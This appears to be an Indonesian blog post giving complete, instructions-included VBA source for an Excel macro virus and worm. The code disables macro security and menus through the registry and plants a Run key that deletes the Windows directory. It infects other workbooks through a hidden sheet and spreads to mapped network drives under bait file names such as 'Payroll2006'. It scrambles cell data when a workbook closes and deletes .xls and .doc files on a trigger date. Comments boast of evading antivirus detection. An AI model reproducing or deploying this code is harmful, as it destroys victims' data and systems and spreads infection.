salah satu macro virus.
MAKE Virus:
buka new excel workbooks kemudian menu tools macro VB editor
klik kanan pada VBA Project dan pilih insert module
Paste file ini ke dalam new module
tekan F8 untuk trace script
script by : boys_r_gut
Virus : Macro Excel 97 & 2000
typical : Macro And worm
------------------------------ begin of script ----------------------------------------------
'USE THIS SCRIPT As YOUR OWN RISK
'This is For my wife If thats you falling love with others
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (Byval hKey As Long, _
Byval lpSubKey As String, Byval ulOptions As Long, Byval samDesired As _
Long, phkResult As Long) As Long
Private Declare Function RegCreateKeyExA Lib "advapi32.dll" (Byval hKey As Long, _
Byval lpSubKey As String, Byval ulOptions As Long, Byval samDesired As _
Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (Byval hKey As Long, _
Byval lpValueName As String, Byval Reserved As Long, Byval dwType As Long, _
Byval lpValue As String, Byval cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (Byval hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (Byval _
hKey As Long, Byval lpSubKey As String, phkResult As Long) As Long
Global Const REG_DWORD As Long = 4
Global Const HKEY_LOCAL_MACHINE As Long = &H80000002
Global Const HKEY_CURRENT_USER As Long = &H80000001
Dim NewKEY As Long
Dim AA, BB, NN
Dim Myclub As String
Dim CrStat As Boolean
Dim pnm As String
' ini untuk mendisable menu bila ingin memodifikasi tambah ato kurangi sendiri
' menghapus direktory windows...ssttt glodak aauuuuu
Sub MessBoard()
On Error Resume Next
CommandBars("File").Controls("Print Area").Visible = False
CommandBars("Data").Controls("Sort").Visible = False
CommandBars("File").Controls("Page Setup...").Visible = False
NowBoom = Array("MsApp", "Sound Acceleration", "Ms Wizard", "Web Camera", _
"PCI driver", "App Video", "Lshots", "WinApps", "MsOffice 11")
Randomize
NowBoom = NowBoom(Rnd * 9)
KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", _
0, KEY_ALL_ACCESS, s)
KillAV = RegSetValueExA(s, NowBoom, 0, 1, "c:\windows\command\deltree windows", 0)
KillAV = RegCloseKey(s)
End Sub
Private Sub Auto_Open()
On Error Resume Next
Application.StatusBar = "Wait please...."
Application.ScreenUpdating = False
CommandBars("Tools").Controls("Customize...").Visible = False
CommandBars("Tools").Controls("Options...").Visible = False
CommandBars("Tools").Controls("Macro").Enable = False
'setting registry security LOW pada excel ver. 8.0 dan 9.0
Kill97 = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Office\8.0\Excel\" & _
"Microsoft Excel", 0, KEY_ALL_ACCESS, k)
Kill97 = RegSetValueExA(k, "Options6", 0, REG_DWORD, Chr$(0), 4)
Kill97 = RegCloseKey(k)
Kill2K = RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Office\9.0\Excel\" & _
"security", s)
Kill2K = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Office\9.0\Excel", _
0, KEY_ALL_ACCESS, s)
Kill2K = RegSetValueExA(s, "Level", 0, REG_DWORD, Chr$(2), 2)
Kill2K = RegCloseKey(s)
'mengalihkan antivirus ke file yang anda inginkan
'rundll.exe jika sudah menumpuk di registry membuat winkamu cepet mabok
'rubah file rundll.exe sesuai keinginan
AnVrs = Array("VsStatEXE", "Norton Auto-Protect", "F-Secure", "PandaSoft", "Avast4", _
"DrSolomon", "AntiVir", "MsSound", "BombShellter")
Randomize
AVstr = AnVrs(Rnd * 9)
KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\" & _
"CurrentVersion\Run", 0, KEY_ALL_ACCESS, s)
KillAV = RegSetValueExA(s, AVstr, 0, 1, "c:\windows\rundll.exe", 0)
KillAV = RegCloseKey(s)
Application.DisplayAlerts = False
If Right(ActiveWorkbook.Name, 3) = "xls" Then
ActiveWindow.Visible = False
workbooks.Add
End If
XBrnd
'membuat file Xlstart yang isinya file yg terinfeksi
'membuat tulisan pada sheet active
strup = Application.StartupPath
If Dir(strup & "\" & "*.xls") = "" Then
pnm = ActiveWorkbook.Name
Apnm = ActiveWorkbook.FullName
OtherVrs = Dir(strup & "\" & "*.xls")
If OtherVrs <> "" Then
workbooks(OtherVrs).Close
Kill strup & "\" & OtherVrs
End If
workbooks(pnm).SaveAs FileName:=strup & "\" & Myclub & ".xls"
ActiveWindow.Visible = False
workbooks.Open (Apnm)
End If
For n = 67 To 90
l = Chr(n)
drv = l & ":"
d3 = DrvID(drv)
If d3 = "network" Then snd2drv (drv)
Next
nmpers = Dir(strup & "\" & "*.xls")
Application.OnSheetActivate = "" & strup & "\" & nmpers & "!XLBomb"
If Month(Now()) = 7 And Day(Now()) = 7 Then
Range("A1").Insert
Range("A1").Select
With Selection.Font
.Name = "Arial"
.FontStyle = "Bold"
.Size = 18
.ColorIndex = 7
End With
ActiveCell.FormulaR1C1 = "51AL kami datang..kami lihat...kami menang!!!"
MessBoard
cari
End If
Application.StatusBar = False
Application.DisplayAlerts = True
Application.ScreenUpdating = True
End Sub
'Penularan pada workbook yg aktif
'add sheet xlSheetVeryHidden sebagai otorisasi
'sorry mcafee aku selalu merubah ini bila terdeteksi
Sub XLBomb()
On Error Resume Next
XlsBmb = "c:\Trough.WQK" 'rubah baris ini bila virus kamu terdeteksi
Application.DisplayAlerts = False
Application.ScreenUpdating = False
aktip = ActiveWorkbook.Name
sedang = ThisWorkbook.Name
Set mcraktip = workbooks(aktip).VBProject.VBComponents
Set modaktip = ActiveWorkbook.VBProject.VBComponents
Set mymcr = ThisWorkbook.VBProject.VBComponents
If aktip <> "Book1" And aktip <> "Book2" Then
For NS = 1 To Sheets.Count
If Sheets(NS).Name = "S1L3N7" Then
kz = Sheets(NS).Name
Exit For
End If
kz = Sheets(NS).Name
Next NS
If kz <> "S1L3N7" Then
Sheets.Add
ActiveWindow.ActiveSheet.Name = "S1L3N7"
Sheets("S1L3N7").Visible = xlSheetVeryHidden
Else
susun
Sheets("S1L3N7").Range("A7") = ""
End If
For nm = 1 To mcraktip.Count
If mcraktip(nm).Type = 1 Then
nama = mcraktip(nm).Name
Exit For
End If
Next nm
modaktip.Remove modaktip(nm)
For nm = 1 To mymcr.Count
If mymcr(nm).Type = 1 Then
nama = mymcr(nm).Name
Exit For
End If
Next nm
mymcr(nama).Export XlsBmb
modaktip.Import XlsBmb
Kill XlsBmb
XBrnd
ActiveWorkbook.VBProject.VBComponents(nm).Name = Myclub
If Minute(Now()) > 30 And Weekday(Now()) Mod 2 = 0 Then
Application.StatusBar = "Searching For 1RM4 at the network..."
End If
End If
Application.DisplayAlerts = True
End Sub
'duplikasi virus dengan berbagai nama secara RANDOM
Private Sub XBrnd()
Dim Sbjt, Bodd
On Error GoTo nil1
Randomize
Sbjt = Array("Primitif", "data kantor", "data penjualan", "OnJuly", "Updater", "ms0ffice", _
"letme", "poisoning", "data pengiriman")
Myclub = Sbjt(Rnd * 9 + 1)
Exit Sub
nil1:
Myclub = Sbjt(0)
End Sub
'hihi.. macro di kawinkan sama worm yaaa gini ini
'tularkan pada semua drive & network yang telah di MAPPING
Function DrvID(drv3)
On Error Resume Next
Dim fso, d, t
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.getdrive(drv3)
Select Case d.driveType
Case 0: t = "Unknown"
Case 1: t = "removable"
Case 2: t = "Fixed"
Case 3: t = "network"
Case 4: t = "CD-ROM"
Case 5: t = "Ramdisk"
End Select
If t = "" Then t = "none"
DrvID = t
End Function
Sub snd2drv(DrvAll)
On Error Resume Next
Application.DisplayAlerts = False
Application.ScreenUpdating = False
Gnm = ActiveWorkbook.Name
GnmF = ActiveWorkbook.FullName
Randomize
FlName = Array("BankColapse", "myacc", "report", "launch06", "yourScrt", "jobs", _
"reference07", "logistic", _
"Payroll2006", "NewCost", "DoNotOpen", "secretary", "tax_report", "Finance", _
"director2006")
Bread = FlName(Rnd * 14 + 1)
workbooks(Gnm).SaveAs FileName:=DrvAll & "\" & Bread & ".xls"
workbooks(ActiveWorkbook.Name).Close
workbooks.Open (GnmF)
Application.DisplayAlerts = True
End Sub
Private Sub Auto_Close()
On Error Resume Next
If ActiveWorkbook.Name <> "Book1" And ActiveWorkbook.Name <> "Book2" Then
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For NS = 1 To Sheets.Count
If Sheets(NS).Name = "S1L3N7" Then
kz = Sheets(NS).Name
Exit For
End If
kz = Sheets(NS).Name
Next NS
If kz <> "S1L3N7" Then
Sheets.Add
ActiveWindow.ActiveSheet.Name = "S1L3N7"
Sheets("S1L3N7").Visible = xlSheetVeryHidden
End If
CryptSTAT = Sheets("S1L3N7").Range("A7")
If CryptSTAT <> 1 Then
kacau
Sheets("S1L3N7").Range("A7") = 1
SvFl = Dir(Application.StartupPath & "\" & "*.xls")
workbooks(SvFl).Save
ActiveWorkbook.Save
End If
End If
End Sub
'klo file d tutup basic encrypt
'supaya klo macro d hapus & DUUUAAARRR rusak file-nya
Sub kacau() 'kurang setiap sheets
For i = 48 To 90 '48 As 0 And 90 As Z
If i <> 63 Then
huruf = Chr(i)
Cells.Replace What:=huruf, Replacement:=Chr(i + 110), LookAt:=xlPart, SearchOrder _
:=xlByRows, MatchCase:=False
End If
Next
End Sub
'kembalikan (decrypt) struktur file saat d buka
Sub susun()
For i = 158 To 200
If i <> 173 Then
huruf = Chr(i)
Cells.Replace What:=huruf, Replacement:=Chr(i - 110), LookAt:=xlPart, SearchOrder _
:=xlByRows, MatchCase:=False
End If
Next
End Sub
'hapus file xls,doc & file yg anda inginkan
'membuat file tipuan dg nama sesuai folder
Sub cari()
On Error Resume Next
Dim nmfold1, nmfold2, pjg, kena As Integer
pnm = ActiveWorkbook.FullName
pjg = Len(pnm)
For i = 0 To 50
pjg = pjg - 1
If Right(Left(pnm, pjg), 1) = "\" Then
foldbatas = Left(pnm, pjg)
Kill foldbatas & "*.xls"
Kill foldbatas & "*.doc"
Kill foldbatas & "irma.*"
If a = 0 Then
nmfold1 = Len(foldbatas) - 1
pnm = Left(pnm, nmfold1)
a = 1
Else
nmfold2 = Len(foldbatas) + 1
kena = nmfold1 - nmfold2
namekena = Right(pnm, kena + 1)
Application.ScreenUpdating = False
workbooks.Add (namekena & ".xls")
ActiveWorkbook.Save
ActiveWorkbook.Close
Application.ScreenUpdating = True
Exit For
End If
End If
Next
End Sub
Selengkapnya...
